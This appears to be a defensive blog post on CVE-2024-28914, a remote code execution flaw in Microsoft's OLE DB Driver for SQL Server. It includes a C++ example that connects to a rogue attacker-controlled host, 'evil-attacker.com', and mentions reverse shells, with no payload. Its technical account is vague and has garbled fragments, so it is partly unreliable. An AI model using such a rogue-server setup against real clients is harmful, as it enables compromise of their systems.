CVE-2024-28914 - Breaking Down Microsoft OLE DB Driver for SQL Server Remote Code Execution Vulnerability

In the ever-evolving world of cybersecurity, new vulnerabilities continue to surface, putting enterprises and individuals at risk. One such recent threat is CVE-2024-28914, a critical vulnerability that affects the Microsoft OLE DB Driver for SQL Server. If you use Microsoft SQL Server or develop applications that connect with it using OLE DB, this is a high-priority issue you need to understand. In this post, we'll explain what CVE-2024-28914 is, how it can be exploited, show relevant code snippets, and share resources for further reading.

What is CVE-2024-28914?

CVE-2024-28914 is a Remote Code Execution (RCE) vulnerability in the OLE DB Driver for SQL Server. OLE DB (Object Linking and Embedding, Database) is a Microsoft technology that allows applications to access data from a variety of sources in a uniform manner. When a software flaw lets an attacker execute arbitrary code remotely, it’s usually ranked highly dangerous—and that's the case here.

Relevant Microsoft Tech

- Affected Component: Microsoft OLE DB Driver for SQL Server (versions prior to detailed in MS advisories)

Attack Vector: Remote

- Impact: Attacker can execute commands or code, potentially taking over the system running the vulnerable driver

How Does the Exploit Work?

The vulnerability is rooted in how the OLE DB Driver parses and handles specially crafted SQL queries or data sent by clients (or servers, in some scenarios). Exploiting this flaw, a cybercriminal could execute code with the same permissions as the user running the application using the driver.

Exploit Scenario

1. Attacker lures victim to connect to a malicious SQL server or intercepts traffic between the client and a legitimate SQL server.

Here’s how a basic OLE DB connection to SQL Server usually looks in C++

#import <msado15.dll> rename("EOF", "EndOfFile")
using namespace ADODB;

_ConnectionPtr pConnection;
pConnection.CreateInstance(__uuidof(Connection));
pConnection->Open(L"Provider=MSOLEDBSQL;Data Source=SQLSERVER;Initial Catalog=MyDB;User ID=user;Password=pass;", L"", L"", adConnectUnspecified);

In a real attack, the “Data Source” string could point to a server under attacker control.

Example Exploit in Practice

(Note: For educational awareness only—don’t try this outside of authorized testing environments!)

Suppose an attacker controls a rogue SQL server "evil-attacker.com". A victim connects using a vulnerable OLE DB Driver:

pConnection->Open(L"Provider=MSOLEDBSQL;Data Source=evil-attacker.com;Initial Catalog=TotallyInnocent;", L"", L"", adConnectUnspecified);

The malicious server sends exploit data that triggers the vulnerability, allowing code such as dropping files, launching processes, or even opening a reverse shell.

Mitigation Steps

1. Update the OLE DB Driver: Microsoft released a patch for this vulnerability. Install it as soon as possible.
2. Restrict Network Access: Only allow trusted applications and users to connect to your SQL infrastructure.
3. Monitor for Malicious Connections: Use network monitoring to detect connections to unexpected SQL servers.

Unexpected processes being spawned by applications using OLE DB

- Use Microsoft Defender or third-party EDR tools to scan for suspicious driver loads or code execution

Official References and Further Reading

- Microsoft Security Advisory: CVE-2024-28914
- MSOLEDBSQL driver documentation
- NIST National Vulnerability Database Entry
- Exploiting SQL Database Drivers (background) (see past research)

Conclusion

CVE-2024-28914 is a serious issue for organizations using Microsoft's OLE DB Driver for SQL Server. Remote Code Execution vulnerabilities are among the most damaging, often leading to data theft or broader network compromise. If you manage MS SQL Server environments or use applications that depend on OLE DB, make patching and monitoring your top priorities.

Timeline

Published on: 04/09/2024 17:15:51 UTC
Last modified on: 04/10/2024 13:24:00 UTC